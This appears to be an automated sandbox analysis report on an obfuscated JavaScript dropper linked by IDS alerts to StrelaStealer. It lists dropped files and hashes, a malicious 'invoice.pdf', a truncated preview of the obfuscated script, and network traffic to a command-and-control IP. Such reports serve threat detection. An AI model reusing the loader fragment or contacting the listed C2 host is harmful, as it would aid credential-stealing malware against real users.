Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\963c9e61-cf24-45d9-8902-0b7902c5f306.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\cfaa8463-7b50-4817-994d-f5f561eef424.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f85994bb-75b9-4767-8406-44a5bab136d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15496), with CRLF line terminators
Entropy (8bit):	4.910150722896388
TrID:
File name:	23754232101540928500.js
File size:	18'847 bytes
MD5:	93b1e5daf8fced2a11edf4d37b7d7a00
SHA1:	44c2ff637b29c4fd43703550a2935a14819ea3d2
SHA256:	b9c4bd4be0e5800760c2f2fa5a29061757f864530500b013ada9bf2c277ec847
SHA512:	881442bcd592caf1e63d75d8730beedfb83921690a748bd947c0986349437d8fe6af5b8b0536efd52ca913e2923a2ef64e49ff00c57a6da8ff5c1c5f86a1f6ef
SSDEEP:	384:d4JqIz6O1sOyFBtEWM8cxF0Yq8AasXgunYKDDV1jYLoCZEM8SnTZZpSXehk4FqXD:OJqIz6O1sOyFBDMrLcgunYKDDV1jYLoV
TLSH:	1B82A7C24CA54B0B96E4317D9B5726E733681D8C3AA6795A8413BC904FD1E13ABF027B
File Content Preview:	function vjnrsp(){nmeiwdwn=[1031,3079,5127,4103,2055,3072];var hgnycmh=this[xbrzax+ahjvxs+xbgdo+iocnnio+giqbltm+kxnifych+ucthd+dabsstkb](this[jceghtd+ipuoml+bwzpjfks+xbgdo+fjvyf+xbrzax+dabsstkb][lylzeobqc+xbgdo+giqbltm+ahjvxs+dabsstkb+giqbltm+kukpbtt+sjbx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:51:58.849158+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49749	193.143.1.205	80	TCP
2025-01-11T02:51:58.849158+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49749	193.143.1.205	80	TCP
2025-01-11T02:52:01.082319+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49765	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:51:58.040277958 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.046104908 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.046226025 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.048927069 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.055428982 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.848965883 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.848995924 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849008083 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849014997 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849093914 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849106073 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849117994 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849158049 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.849158049 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.849160910 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849210978 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849221945 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.849272966 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.849272966 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.853990078 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.894741058 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.894757986 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.894788980 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.941646099 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.971121073 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971138000 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971144915 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971163988 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971174955 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971271992 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971286058 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.971297026 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.971297026 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.971334934 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.972006083 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.972038984 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.972050905 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.972110033 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.972110987 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.972121000 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.972132921 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.972930908 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.972994089 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973012924 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973033905 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973045111 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973058939 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973071098 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.973824024 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973836899 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973848104 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973862886 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973872900 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:58.973876953 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.973876953 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:58.975334883 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.028281927 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.028312922 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.028323889 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.028363943 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.062697887 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.062715054 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.062751055 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.092567921 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092588902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092609882 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092629910 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092642069 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092653990 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.092653990 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.092711926 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.092830896 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092843056 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.092895031 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.092999935 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093036890 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093049049 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093089104 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.093409061 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093421936 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093435049 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093446016 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093458891 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093470097 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.093478918 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.093478918 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.093512058 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.094116926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094150066 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094161987 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094192028 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.094230890 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094243050 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094270945 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.094383955 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.094703913 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094774961 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094786882 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094820023 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.094847918 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094860077 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094871044 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.094892979 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.094976902 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.095546961 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095571995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095582962 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095609903 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.095696926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095709085 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095721006 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095732927 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.095776081 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.095776081 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.096582890 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096596003 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096607924 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096638918 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.096662045 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.096689939 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096702099 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096713066 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096766949 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.096767902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.096858025 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.097520113 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.097552061 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.097752094 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.119852066 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.119873047 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.119884968 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.119896889 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.119929075 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.120055914 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.137959003 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.137974024 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.138012886 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.184088945 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.184113979 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.184125900 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.184178114 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.184227943 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.184463978 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.214411974 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214426041 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214437962 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214468002 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.214521885 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214555979 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214566946 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214644909 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214657068 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.214663982 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.214713097 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.215236902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.215250969 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.215262890 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.215289116 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.215590954 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.215604067 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.215615988 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.215646982 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.215753078 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.216053009 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216064930 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216075897 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216087103 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216098070 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216105938 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.216110945 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216125011 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216206074 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.216912985 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216927052 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216941118 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216965914 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.216988087 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.216995955 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.217000961 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.217011929 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.217025995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.217046976 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.217067957 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.217936993 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.217950106 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.217962027 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.217988968 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218000889 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218003988 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.218008995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218020916 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218055010 CET	49749	80	192.168.2.9	193.143.1.205
